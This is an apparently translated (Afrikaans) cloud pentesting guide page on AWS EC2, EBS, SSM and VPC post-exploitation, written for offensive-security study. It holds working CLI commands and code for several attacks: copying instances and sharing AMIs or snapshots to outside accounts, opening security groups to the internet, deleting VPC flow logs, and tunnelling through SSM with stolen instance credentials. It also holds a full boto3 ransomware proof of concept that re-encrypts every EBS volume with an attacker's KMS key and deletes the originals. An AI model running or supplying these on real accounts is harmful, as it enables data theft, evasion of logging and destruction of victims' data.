Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation

AWS - EC2, EBS, SSM & VPC Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

EC2 & VPC

Vir meer inligting, kyk:

{{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}}

Kwaadwillige VPC Spiegel - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC-verkeer spieëling dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.
'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry:

Vir meer inligting, kyk hierdie bladsy:

{{#ref}} aws-malicious-vpc-mirror.md {{#endref}}

Kopieer Loopende Instansie

Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk EC2 voorregverhoging truuks). egter, 'n ander manier om te kyk wat dit bevat, is om 'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daarvan te laat loop:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots is rugste van volumes, wat gewoonlik sensitiewe inligting sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.
As jy 'n volume sonder 'n snapshot vind, kan jy: Skep 'n snapshot en die volgende aksies uitvoer of net mont dit in 'n instansie binne die rekening:

{{#ref}} aws-ebs-snapshot-dump.md {{#endref}}

Data Exfiltration

DNS Exfiltration

Selfs as jy 'n EC2 sluit sodat geen verkeer kan uitgaan nie, kan dit steeds exfil via DNS.

  • VPC Flow Logs sal dit nie opteken nie.
  • Jy het geen toegang tot AWS DNS logs nie.
  • Deaktiveer dit deur "enableDnsSupport" op vals te stel met:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die exfiltreer data in die Cloudtrail logs te sien.

Open Security Group

Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc na ECS

Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.

Vir meer inligting kyk hierna.

Verwyder VPC vloei logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Vereiste toestemmings:

  • ssm:StartSession

Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Veiligheidsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n Bastion Host na 'n private EKS-kluster.

Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Installeer die SessionManagerPlugin op jou masjien
  2. Meld aan by die Bastion EC2 met die volgende opdrag:
aws ssm start-session --target "$INSTANCE_ID"
  1. Kry die Bastion EC2 AWS tydelike akrediteerings met die Abusing SSRF in AWS EC2 environment skrip
  2. Oordra die akrediteerings na jou eie masjien in die $HOME/.aws/credentials lêer as [bastion-ec2] profiel
  3. Meld aan by EKS as die Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Werk die server veld in die $HOME/.kube/config lêer om na https://localhost te verwys
  2. Skep 'n SSM-tonnel soos volg:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Die verkeer van die kubectl hulpmiddel word nou deur die SSM-tonnel via die Bastion EC2 gestuur en jy kan die private EKS-kluster vanaf jou eie masjien toegang verkry deur die volgende uit te voer:
kubectl get pods --insecure-skip-tls-verify

Let wel, die SSL-verbindinge sal misluk tensy jy die --insecure-skip-tls-verify vlag (of sy ekwivalent in K8s audit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.

Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.

Deel AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Soek sensitiewe inligting in openbare en private AMIs

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel is 'n hulpmiddel wat ontwerp is om sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data.

Deel EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Management Service met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik.

Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Hoof te laat toe om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.

Pasted image 20231231172655 Pasted image 20231231172734

Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. Pasted image 20231231173130

Dit lei tot slegs geënkripteerde EBS-volumes wat in die rekening beskikbaar is.

Pasted image 20231231173338

Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.

Pasted image 20231231173931

Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleidreël uit die sleutelbeleid.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Wag 'n bietjie vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.

Pasted image 20231231174131 Pasted image 20231231174258

Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleutel kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.

Pasted image 20231231174322 Pasted image 20231231174352

Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening aangeheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

{{#include ../../../../banners/hacktricks-training.md}}